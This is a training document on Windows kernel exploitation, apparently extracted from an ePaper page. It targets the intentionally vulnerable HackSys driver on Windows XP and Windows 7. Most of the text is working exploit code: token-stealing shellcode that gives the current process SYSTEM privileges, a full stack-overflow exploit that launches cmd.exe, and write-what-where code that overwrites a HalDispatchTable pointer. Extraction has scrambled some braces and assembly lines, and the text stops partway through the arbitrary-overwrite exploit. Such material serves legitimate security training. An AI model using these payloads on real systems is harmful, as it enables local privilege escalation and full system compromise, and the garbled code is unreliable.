16.01.2017 Views

Hacking Training

2jPu93h

2jPu93h

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

<strong>Hacking</strong> <strong>Training</strong><br />

Windows Kernel Exploitation<br />

v. 1.0<br />

Simone Cardona<br />

OSCP, OSCE<br />

www.hacking-training.com


Index<br />

Windows XP 32bit.......................................................................................................................................... 3<br />

Setting Up Lab............................................................................................................................................ 3<br />

Introducing HackSys Extreme Vulnerable Windows Driver ...................................................................... 6<br />

Kernel Internals ......................................................................................................................................... 6<br />

Access Token ............................................................................................................................................. 6<br />

Token Stealing Payload .............................................................................................................................. 8<br />

Stack Overflow ......................................................................................................................................... 10<br />

Arbitrary Memory Overwrite (Write-What-Where) ................................................................................ 18<br />

Get HalDispatchTable base address ........................................................................................................ 20<br />

Exploitation .............................................................................................................................................. 21<br />

Windows 7 32bit .......................................................................................................................................... 28<br />

Setting Up Lab.......................................................................................................................................... 28<br />

Changing Token Stealing Payload ............................................................................................................ 28<br />

Kernel Pool Internals ............................................................................................................................... 29<br />

Kernel Pool Layout ................................................................................................................................... 31<br />

Pool Feng Shui ......................................................................................................................................... 34<br />

Exploitation .............................................................................................................................................. 35<br />

www.hacking-training.com 1


www.hacking-training.com 2


Windows XP 32bit<br />

Setting Up Lab<br />

The first step is to configure all the working environment in order to be ready to exploit a specific kernel<br />

version.<br />

We will consider as Virtual Environment Software, VMware on a Windows 10 machine.<br />

As Virtual machine You need to install, in order to follow all the steps of this guide, Windows XP SP3 32bit.<br />

Into this machine the first thing to do is to modify the boot.ini file into the C:\ folder.<br />

Under the [operating systems] line You need to add at the end of line the following piece:<br />

www.hacking-training.com 3


Another essential step is to enable the Serial Port on VMware:<br />

Go to Settings->Add->Serial Port and follow the steps adding the following settings:<br />

Now You need to install WinDbg (x86) that You can easily find on the net.<br />

Go to File->Kernel Debug->COM and add the following settings:<br />

www.hacking-training.com 4


At this point, if you have already started the Windows XP You need to restart it…and You will have WinDbg<br />

connected to the VM.<br />

You can easily check this, infact It will be showed the string “Connected to Windows XP 2600 x86 ….”<br />

As last step You need to install Microsoft Visual C++ 2010 Express in order to compile the Exploit.<br />

www.hacking-training.com 5


Introducing HackSys Extreme Vulnerable Windows Driver<br />

From the Hacksys github readme file We get:<br />

“HackSys Extreme Vulnerable Driver is intentionally vulnerable Windows driver developed for security<br />

enthusiasts to learn and polish their exploitation skills at Kernel level.”<br />

You can get it from https://github.com/hacksysteam/HackSysExtremeVulnerableDriver.git<br />

At this point We need to register the driver and also to start the service.<br />

In order to accomplish this task You could use OSR Loader that you can find online after a short<br />

registration.<br />

Kernel Internals<br />

We can start looking at API DeviceIocontrol()<br />

BOOL WINAPI DeviceIoControl(<br />

_In_ HANDLE hDevice,<br />

_In_ DWORD dwIoControlCode,<br />

_In_opt_ LPVOID lpInBuffer,<br />

_In_ DWORD nInBufferSize,<br />

_Out_opt_ LPVOID lpOutBuffer,<br />

_In_ DWORD nOutBufferSize,<br />

_Out_opt_ LPDWORD lpBytesReturned,<br />

_Inout_opt_ LPOVERLAPPED lpOverlapped<br />

);<br />

The important parameters are the device driver HANDLE, the I/O control code and also the addresses of<br />

input and output buffers.<br />

When this API is called, the I/O Manager makes an IRP (I/O Request Packet) request and delivers it to the<br />

device driver.<br />

There are also three types of data transfer mechanism: Buffered I/O, Direct I/O and Neither Buffered nor<br />

Direct I/O.<br />

Access Token<br />

Every running process has an access token, a set of information that describes the privileges of it.<br />

The first essential step to understand this concept is to find the token associated with the process; this<br />

operation involves locating the EPROCESS structure.<br />

Let’s consider that We have the debugger connected in kernel mode, so let’s run the following command:<br />

>!process 0 0<br />

www.hacking-training.com 6


This command serves to find the token address inside the EPROCESS structure.<br />

www.hacking-training.com 7


Token Stealing Payload<br />

This technique consists in exchanging of the target process’s access token with the access token of a more<br />

privileged process.<br />

Let’s look how this shellcode appear:<br />

VOID TokenStealingShellcodeWin() {<br />

__asm {<br />

pushad ;(1)<br />

mov eax, fs:[KTHREAD_OFFSET] ; (2)<br />

mov eax, [eax + EPROCESS_OFFSET]<br />

mov ecx, eax<br />

mov ebx, [eax + TOKEN_OFFSET]<br />

mov edx, SYSTEM_PID<br />

SearchSystemPID:<br />

mov eax, [eax + FLINK_OFFSET]<br />

sub eax, FLINK_OFFSET<br />

cmp[eax + PID_OFFSET], edx<br />

jne SearchSystemPID<br />

mov edx, [eax + TOKEN_OFFSET]<br />

mov[ecx + TOKEN_OFFSET], edx<br />

popad<br />

}<br />

}<br />

xor eax, eax<br />

add esp, 12<br />

pop ebp<br />

ret 8<br />

1) The first step is to save the driver registers so We can restore them later.<br />

2) Now the second step is to find the target process’s EPROCESS structure<br />

It’s possible to find this structure looking at the KPRCB (Kernel Processor Control Block), that holds a<br />

reference to the ETHREAD structure which holds a reference to the current EPROCESS structure.<br />

In order to well understand these steps I’ll use the Windows API to inspect some process internals.<br />

The API PsGetCurrentProcess() is used to get the process object within the EPROCESS structure.<br />

So let’s analyze how this API do this job:<br />

www.hacking-training.com 8


But wait…these instructions are familiar to us, infact these are the first two instructions of our shellcode!<br />

Now We have found the KTHREAD_OFFSET (0x124) and also the EPROCESS_OFFSET (0x044).<br />

Let’s continue this process, this time viewing the entire EPROCESS structure:<br />

>dt –b –v _EPROCESS<br />

Here We find the others elements:<br />

TOKEN_OFFSET (0x0c8)<br />

SYSTEM_PID (0x004), is the pid of process with NT AUTHORITY/SISTEM<br />

FLINK_OFFSET (0x088)<br />

PID_OFFSET (0x084)<br />

Now We are ready to write our C code:<br />

#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread<br />

www.hacking-training.com 9


#define EPROCESS_OFFSET 0x044 // nt!_KTHREAD.ApcState.Process<br />

#define PID_OFFSET 0x084 // nt!_EPROCESS.UniqueProcessId<br />

#define FLINK_OFFSET 0x088 // nt!_EPROCESS.ActiveProcessLinks.Flink<br />

#define TOKEN_OFFSET 0x0c8 // nt!_EPROCESS.Token<br />

#define SYSTEM_PID 0x004 // SYSTEM Process PID<br />

VOID TokenStealingShellcodeWin() {<br />

__asm {<br />

pushad ;(1)<br />

mov eax, fs:[KTHREAD_OFFSET] ; (2)<br />

mov eax, [eax + EPROCESS_OFFSET]<br />

mov ecx, eax<br />

mov ebx, [eax + TOKEN_OFFSET]<br />

mov edx, SYSTEM_PID<br />

SearchSystemPID:<br />

mov eax, [eax + FLINK_OFFSET]<br />

sub eax, FLINK_OFFSET<br />

cmp[eax + PID_OFFSET], edx<br />

jne SearchSystemPID<br />

mov edx, [eax + TOKEN_OFFSET]<br />

mov[ecx + TOKEN_OFFSET], edx<br />

popad<br />

}<br />

}<br />

xor eax, eax<br />

add esp, 12<br />

pop ebp<br />

ret 8<br />

Stack Overflow<br />

This kind of vulnerability should be familiar.<br />

It have the same steps to the user application exploitation.<br />

Attach WinDbg to the WinXP VM and let’s start crashing it with this code:<br />

#include "stdafx.h"<br />

#include <br />

#include <br />

www.hacking-training.com 10


#include <br />

#include <br />

//Definition taken from HackSysExtremeVulnerableDriver.h<br />

#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800,<br />

METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)<br />

int _tmain(int argc, _TCHAR* argv[])<br />

{<br />

DWORD lpBytesReturned;<br />

PVOID pMemoryAddress = NULL;<br />

PULONG lpInBuffer = NULL;<br />

LPCSTR lpDeviceName = (LPCSTR) "\\\\.\\HackSysExtremeVulnerableDriver";<br />

SIZE_T nInBufferSize = 1024 * sizeof(ULONG);<br />

printf("Getting the device handle\r\n");<br />

HANDLE hDriver = CreateFile(lpDeviceName,<br />

GENERIC_READ | GENERIC_WRITE,<br />

FILE_SHARE_READ | FILE_SHARE_WRITE,<br />

NULL<br />

OPEN_EXISTING,<br />

FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED<br />

NULL<br />

if (hDriver == INVALID_HANDLE_VALUE) {<br />

printf("Failed to get device handle :( 0x%X\r\n", GetLastError());<br />

return 1;<br />

}<br />

printf("Got the device Handle: 0x%X\r\n", hDriver);<br />

printf("Allocating Memory For Input Buffer\r\n");<br />

lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,<br />

nInBufferSize);<br />

if (!lpInBuffer) {<br />

printf("HeapAlloc failed :( 0x%X\r\n", GetLastError());<br />

return 1;<br />

}<br />

printf("Input buffer allocated as 0x%X bytes.\r\n", nInBufferSize);<br />

printf("Input buffer address: 0x%p\r\n", lpInBuffer);<br />

printf("Filling buffer with A's\r\n");<br />

RtlFillMemory((PVOID)lpInBuffer, nInBufferSize, 0x41);<br />

printf("Sending IOCTL request\r\n");<br />

DeviceIoControl(hDriver,<br />

HACKSYS_EVD_IOCTL_STACK_OVERFLOW,<br />

(LPVOID)lpInBuffer,<br />

(DWORD)nInBufferSize,<br />

NULL,<br />

0,<br />

&lpBytesReturned,<br />

NULL);<br />

www.hacking-training.com 11


}<br />

printf("IOCTL request completed, cleaning up da heap.\r\n");<br />

HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);<br />

return 0;<br />

Take some time to understand it, it’s simple.<br />

First of all We get the device handle via CreateFile() API, then We zero out the buffer nInBufferSize, next<br />

We fill the buffer with 1024 “A” == 0x41 and finally We send this buffer to the driver handle via<br />

DeviceIoControl() API.<br />

Now the EIP is equal to 41414141 and also EBP, use Kali Linux 2.0 or also mona to create a cyclic pattern:<br />

#locate pattern_create<br />

#/usr/share/metasploit-framework/tools/exploit/pattern_create.rb –l 3056<br />

Now We need to modify the exploit.cpp:<br />

#include "stdafx.h"<br />

#include <br />

#include <br />

#include <br />

#include <br />

#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800,<br />

METHOD_NEITHER, FILE_ANY_ACCESS)<br />

int _tmain(int argc, _TCHAR* argv[])<br />

{<br />

DWORD lpBytesReturned;<br />

PVOID pMemoryAddress = NULL;<br />

PULONG lpInBuffer = NULL;<br />

LPCWSTR lpDeviceName = L"\\\\.\\HackSysExtremeVulnerableDriver";<br />

SIZE_T nInBufferSize = 768 * sizeof(ULONG);<br />

printf("Getting device handle\n");<br />

HANDLE hDriver = CreateFile(lpDeviceName,<br />

GENERIC_READ | GENERIC_WRITE,<br />

FILE_SHARE_READ | FILE_SHARE_WRITE,<br />

NULL,<br />

OPEN_EXISTING,<br />

FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,<br />

NULL);<br />

www.hacking-training.com 12


}<br />

if (hDriver == INVALID_HANDLE_VALUE) {<br />

printf("Failed to get device handle :( 0x%X\r\n", GetLastError());<br />

return 1;<br />

printf("Got the device Handle: 0x%X\r\n", hDriver);<br />

printf("Allocating Memory For Input Buffer\r\n");<br />

lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nInBufferSize);<br />

if (!lpInBuffer) {<br />

printf("HeapAlloc failed :( 0x%X\r\n", GetLastError());<br />

return 1;<br />

}<br />

printf("Input buffer allocated as 0x%X bytes.\r\n", nInBufferSize);<br />

printf("Input buffer address: 0x%p\r\n", lpInBuffer);<br />

printf("Filling buffer with A's\r\n");<br />

char *pattern =<br />

"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac<br />

7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5<br />

Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4<br />

Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5A<br />

l6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1A<br />

o2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8A<br />

q9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8A<br />

t9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5A<br />

w6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3A<br />

z4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2<br />

Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf<br />

1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0<br />

Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2<br />

Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9B<br />

o0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7<br />

Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt<br />

8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5<br />

Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz<br />

4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2C<br />

c3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1<br />

Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci<br />

1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3<br />

Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0C<br />

o1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8<br />

www.hacking-training.com 13


Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9<br />

Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6C<br />

w7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5C<br />

z6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc<br />

3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df<br />

0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh<br />

8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8<br />

Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn<br />

5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1<br />

Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9D<br />

t0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7D<br />

v8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx";<br />

memcpy(lpInBuffer, pattern, nInBufferSize);<br />

printf("Sending IOCTL request\r\n");<br />

DeviceIoControl(hDriver,<br />

HACKSYS_EVD_IOCTL_STACK_OVERFLOW,<br />

(LPVOID)lpInBuffer,<br />

(DWORD)nInBufferSize,<br />

NULL,<br />

0,<br />

&lpBytesReturned,<br />

NULL);<br />

}<br />

printf("IOCTL request completed, cleaning up da heap.\r\n");<br />

HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);<br />

return 0;<br />

www.hacking-training.com 14


After We have run the exploit We need to get the offset to EIP:<br />

#/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb –l 3056 –q 72433372<br />

[*] Exact match at offset 2080<br />

So now We have all the information to write the final working exploit: (I’ll explain soon)<br />

#include "stdafx.h"<br />

#include <br />

#include <br />

#include <br />

#include <br />

#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800,<br />

METHOD_NEITHER, FILE_ANY_ACCESS)<br />

#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread<br />

#define EPROCESS_OFFSET 0x044 // nt!_KTHREAD.ApcState.Process<br />

#define PID_OFFSET 0x084 // nt!_EPROCESS.UniqueProcessId<br />

#define FLINK_OFFSET 0x088 // nt!_EPROCESS.ActiveProcessLinks.Flink<br />

#define TOKEN_OFFSET 0x0c8 // nt!_EPROCESS.Token<br />

#define SYSTEM_PID 0x004 // SYSTEM Process PID<br />

www.hacking-training.com 15


VOID TokenStealingShellcodeWin() {<br />

__asm {<br />

pushad<br />

mov eax, fs:[KTHREAD_OFFSET]<br />

mov eax, [eax + EPROCESS_OFFSET]<br />

mov ecx, eax<br />

mov ebx, [eax + TOKEN_OFFSET]<br />

mov edx, SYSTEM_PID<br />

SearchSystemPID:<br />

mov eax, [eax + FLINK_OFFSET]<br />

sub eax, FLINK_OFFSET<br />

cmp[eax + PID_OFFSET], edx<br />

jne SearchSystemPID<br />

mov edx, [eax + TOKEN_OFFSET]<br />

mov[ecx + TOKEN_OFFSET], edx<br />

popad<br />

}<br />

}<br />

; recovery<br />

xor eax, eax; Set NTSTATUS SUCCEESS<br />

add esp, 12; fix the stack<br />

pop ebp<br />

ret 8<br />

int _tmain(int argc, _TCHAR* argv[])<br />

{<br />

DWORD lpBytesReturned;<br />

PVOID pMemoryAddress = NULL;<br />

PULONG lpInBuffer = NULL;<br />

LPCWSTR lpDeviceName = L"\\\\.\\HackSysExtremeVulnerableDriver";<br />

printf("Getting device handle\n");<br />

HANDLE hDriver = CreateFile(lpDeviceName,<br />

GENERIC_READ | GENERIC_WRITE,<br />

FILE_SHARE_READ | FILE_SHARE_WRITE,<br />

www.hacking-training.com 16


NULL,<br />

OPEN_EXISTING,<br />

FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,<br />

NULL);<br />

}<br />

if (hDriver == INVALID_HANDLE_VALUE) {<br />

printf("Failed to get device handle :( 0x%X\r\n", GetLastError());<br />

return 1;<br />

printf("Got the device Handle: 0x%X\r\n", hDriver);<br />

printf("Allocating Memory For Input Buffer\r\n");<br />

printf("Filling buffer with A's\r\n");<br />

printf("Payload at: %p\n", TokenStealingShellcodeWin);<br />

CHAR *chBuffer;<br />

chBuffer = (CHAR *)malloc(2084);<br />

printf("Buffer at: %p\n", &chBuffer);<br />

memset(chBuffer, 0x41, 2048);<br />

memset(chBuffer +2048, 0x42, 32);<br />

chBuffer[2080] = (DWORD)&TokenStealingShellcodeWin & 0x000000FF;<br />

chBuffer[2080 + 1] = ((DWORD)&TokenStealingShellcodeWin & 0x0000FF00) >> 8;<br />

chBuffer[2080 + 2] = ((DWORD)&TokenStealingShellcodeWin & 0x00FF0000) >> 16;<br />

chBuffer[2080 + 3] = ((DWORD)&TokenStealingShellcodeWin & 0xFF000000) >> 24;<br />

printf("Sending IOCTL request\r\n");<br />

DeviceIoControl(hDriver,<br />

HACKSYS_EVD_IOCTL_STACK_OVERFLOW,<br />

chBuffer, 2084,<br />

NULL,<br />

0,<br />

&lpBytesReturned,<br />

NULL);<br />

system("cmd.exe");<br />

www.hacking-training.com 17


printf("IOCTL request completed, cleaning up da heap.\r\n");<br />

}<br />

CloseHandle(hDriver);<br />

return 0;<br />

Ok…now I’ll explain the essential step:<br />

First of all We are communicating with the driver via CreateFile API, then We are allocating a buffer of 2080<br />

followed by the address of our Function. Finally We are sending this crafted buffer to the driver.<br />

Arbitrary Memory Overwrite (Write-What-Where)<br />

In this kind of vulnerability the driver writes an arbitrary value into kernel-land. So We are able to overwrite<br />

a Kernel address with our specific address.<br />

In this case the driver takes two pointers: one suggest what the driver will write to memory and the other<br />

where the driver will write.<br />

So now the question is…what address are We going to overwrite? This address should be executed!<br />

We can overwrite a Kernel dispatch table pointer, the HalDispatchTable that holds function pointers.<br />

HAL means Hardware Abstraction Layer.<br />

www.hacking-training.com 18


The first essential step is to find the base address of HalDispatchTable; then We need to find a function<br />

pointer that We can overwrite and that is also called by a user-land routine.<br />

The second function pointer of the HalDispatchTable is called by the NtQueryIntervalProfile() API, so We<br />

only need to overwrite it with our arbitrary value.<br />

The function above cited call KeQueryIntervalProfile()which call HalDispatchTable+4.<br />

Let’s analyze the vulnerable source code:<br />

DbgPrint("[+] Triggering Arbitrary Overwrite\n");<br />

// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability<br />

// because the developer is writing the value pointed by 'What' to memory location<br />

// pointed by 'Where' without properly validating if the values pointed by 'Where'<br />

// and 'What' resides in User mode<br />

*(UserWriteWhatWhere->Where) = *(UserWriteWhatWhere->What);<br />

The comments are self-explanatory.<br />

www.hacking-training.com 19


We can see that the Driver Function expect the following structure:<br />

typedef struct _WRITE_WHAT_WHERE {<br />

PULONG What;<br />

PULONG Where;<br />

} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;<br />

So We can easily copy this piece of code and reuse it into our exploit!<br />

Let’s start writing our exploit.<br />

The first thing to do is get the IOCTL code from HackSysExtremeVulnerableDriver.h<br />

#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802,<br />

METHOD_NEITHER, FILE_ANY_ACCESS)<br />

Now We need to obtain the HalDispatchTable base address…<br />

Get HalDispatchTable base address<br />

In order to accomplish this task We need to follow these steps:<br />

(Taken from www.dimitrifourny.com and from<br />

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/)<br />

1. Load ntoskrnl.exe with LoadLibrary (because HalDispatchTable is exported by this exe)<br />

2. Use GetProcAddress to find HalDispatchTable address<br />

3. Search the image base address of ntoskrnl with NtQuerySystemInformation<br />

4. Obtain the final address with a calculation:<br />

HalDispatchTable address – ntoskrnl userland address + ntoskrnl base address in kernelland<br />

We will write a function to accomplish this task:<br />

Step 1 and 2:<br />

PVOID ntoskrnl = LoadLibrary("ntoskrnl.exe");<br />

PVOID HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable");<br />

Step 3:<br />

typedef enum {<br />

SystemBasicInformation,<br />

SystemProcessorInformation,<br />

SystemPerformanceInformation,<br />

www.hacking-training.com 20


SystemTimeOfDayInformation,<br />

SystemPathInformation,<br />

SystemProcessInformation,<br />

SystemCallCountInformation,<br />

SystemDeviceInformation,<br />

SystemProcessorPerformanceInformation,<br />

SystemFlagsInformation,<br />

SystemCallTimeInformation,<br />

SystemModuleInformation<br />

} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;<br />

typedef struct<br />

{<br />

ULONG ModulesCount;<br />

SYSTEM_MODULE Modules[0];<br />

} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;<br />

DWORD sizeInfo = 0;<br />

PSYSTEM_MODULE_INFORMATION moduleList = NULL;<br />

PVOID kernelBase = NULL;<br />

ntdll = GetModuleHandle("ntdll.dll");<br />

_NtQuerySystemInformation NtQuerySystemInformation = GetProcAddress(ntdll,<br />

"NtQuerySystemInformation");<br />

NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &sizeInfo);<br />

moduleList = (PSYSTEM_MODULE_INFORMATION) malloc(sizeInfo);<br />

error = NtQuerySystemInformation(SystemModuleInformation, moduleList, sizeInfo,<br />

NULL);<br />

kernelBase = moduleList->Modules[0].ImageBaseAddress;<br />

free(moduleList);<br />

Step 4:<br />

HalDispatchTable = (DWORD) HalDispatchTable - (DWORD) ntoskrnl + (DWORD)<br />

kernelBase;<br />

Exploitation<br />

Here You’ll note that there are some modifications regard the above code:<br />

#include "stdafx.h"<br />

#include <br />

#include <br />

#include <br />

#include <br />

www.hacking-training.com 21


#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802,<br />

METHOD_NEITHER, FILE_ANY_ACCESS)<br />

#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread<br />

#define EPROCESS_OFFSET 0x044 // nt!_KTHREAD.ApcState.Process<br />

#define PID_OFFSET 0x084 // nt!_EPROCESS.UniqueProcessId<br />

#define FLINK_OFFSET 0x088 // nt!_EPROCESS.ActiveProcessLinks.Flink<br />

#define TOKEN_OFFSET 0x0c8 // nt!_EPROCESS.Token<br />

#define SYSTEM_PID 0x004 // SYSTEM Process PID<br />

#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)<br />

VOID TokenStealingShellcodeWin() {<br />

__asm {<br />

; initialize<br />

pushad; save registers state<br />

mov eax, fs:[KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread<br />

mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process<br />

mov ecx, eax; Copy current _EPROCESS structure<br />

mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token<br />

mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4<br />

SearchSystemPID:<br />

mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink<br />

sub eax, FLINK_OFFSET<br />

cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId<br />

jne SearchSystemPID<br />

mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token<br />

mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM<br />

; to current process<br />

popad; restore registers state<br />

}<br />

}<br />

